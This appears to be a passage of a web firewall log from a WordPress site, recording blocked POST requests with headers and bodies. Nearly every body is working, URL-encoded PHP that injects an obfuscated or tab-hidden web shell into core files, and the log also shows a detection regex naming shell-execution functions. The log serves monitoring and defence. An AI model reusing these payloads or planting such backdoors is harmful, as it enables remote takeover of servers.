\"Not=A?Brand\";v=\"24\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn2ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5535\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nkc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/latest-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524entry1%2520%253D%2520%2527737%2527%253B%2524entry2%2520%253D%2520%252756d%2527%253B%2524entry3%2520%253D%2520%2527657%2527%253B%2524entry4%2520%253D%2520%2527173%2527%253B%2524entry5%2520%253D%2520%2527468%2527%253B%2524entry6%2520%253D%2520%2527472%2527%253B%2524entry7%2520%253D%2520%2527656%2527%253B%2524entry8%2520%253D%2520%2527f63%2527%253B%2524entry9%2520%253D%2520%2527706%2527%253B%2524entry10%2520%253D%2520%2527726%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry1.%2527973%2527.%2527746%2527.%2524entry2%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2527865%2527.%25276c6%2527.%2527c5f%2527.%2524entry3.%2527865%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524entry4.%2527737%2527.%2524entry5.%2527727%2527%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524entry6.%2524entry7.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524entry8.%25276f6%2527.%2527e74%2527.%2524entry7.%2527e74%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry9.%252736c%2527.%25276f7%2527.%2527365%2527%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry10.%2527576%2527.%2524entry3.%2527273%2527.%2527655%2527.%2527f6c%2527.%25276f6%2527.%2527f6b%2527.%2527757%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524reverse_lookup%252C%2524bind_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524bind_flg%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524obj_tkn%253D%2524mutex_lock5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524obj_tkn%2529%257B%2524desc_value%253D%2524mutex_lock6%2528%2524obj_tkn%2529%253B%2524mutex_lock7%2528%2524obj_tkn%2529%253Bprint%2520%2524desc_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:49:59","173.212.252.15","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/latest-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524entry1%2520%253D%2520%2527737%2527%253B%2524entry2%2520%253D%2520%252756d%2527%253B%2524entry3%2520%253D%2520%2527657%2527%253B%2524entry4%2520%253D%2520%2527173%2527%253B%2524entry5%2520%253D%2520%2527468%2527%253B%2524entry6%2520%253D%2520%2527472%2527%253B%2524entry7%2520%253D%2520%2527656%2527%253B%2524entry8%2520%253D%2520%2527f63%2527%253B%2524entry9%2520%253D%2520%2527706%2527%253B%2524entry10%2520%253D%2520%2527726%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry1.%2527973%2527.%2527746%2527.%2524entry2%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2527865%2527.%25276c6%2527.%2527c5f%2527.%2524entry3.%2527865%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524entry4.%2527737%2527.%2524entry5.%2527727%2527%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524entry6.%2524entry7.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524entry8.%25276f6%2527.%2527e74%2527.%2524entry7.%2527e74%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry9.%252736c%2527.%25276f7%2527.%2527365%2527%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry10.%2527576%2527.%2524entry3.%2527273%2527.%2527655%2527.%2527f6c%2527.%25276f6%2527.%2527f6b%2527.%2527757%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524reverse_lookup%252C%2524bind_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524bind_flg%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524obj_tkn%253D%2524mutex_lock5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524obj_tkn%2529%257B%2524desc_value%253D%2524mutex_lock6%2528%2524obj_tkn%2529%253B%2524mutex_lock7%2528%2524obj_tkn%2529%253Bprint%2520%2524desc_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5558\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept:*\/*\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/latest-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524entry1%2520%253D%2520%2527737%2527%253B%2524entry2%2520%253D%2520%252756d%2527%253B%2524entry3%2520%253D%2520%2527657%2527%253B%2524entry4%2520%253D%2520%2527173%2527%253B%2524entry5%2520%253D%2520%2527468%2527%253B%2524entry6%2520%253D%2520%2527472%2527%253B%2524entry7%2520%253D%2520%2527656%2527%253B%2524entry8%2520%253D%2520%2527f63%2527%253B%2524entry9%2520%253D%2520%2527706%2527%253B%2524entry10%2520%253D%2520%2527726%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry1.%2527973%2527.%2527746%2527.%2524entry2%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2527865%2527.%25276c6%2527.%2527c5f%2527.%2524entry3.%2527865%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524entry4.%2527737%2527.%2524entry5.%2527727%2527%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524entry6.%2524entry7.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524entry8.%25276f6%2527.%2527e74%2527.%2524entry7.%2527e74%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry9.%252736c%2527.%25276f7%2527.%2527365%2527%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry10.%2527576%2527.%2524entry3.%2527273%2527.%2527655%2527.%2527f6c%2527.%25276f6%2527.%2527f6b%2527.%2527757%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524reverse_lookup%252C%2524bind_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524bind_flg%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524obj_tkn%253D%2524mutex_lock5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524obj_tkn%2529%257B%2524desc_value%253D%2524mutex_lock6%2528%2524obj_tkn%2529%253B%2524mutex_lock7%2528%2524obj_tkn%2529%253Bprint%2520%2524desc_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:50:04","164.52.218.210","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Pm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yxrLRm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\ncontent-length:2064\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHT0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\n\nPm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yxrLRm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:50:19","57.128.189.50","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yxrLRm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDzbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2064\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nBj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yxrLRm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:50:30","91.142.222.105","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 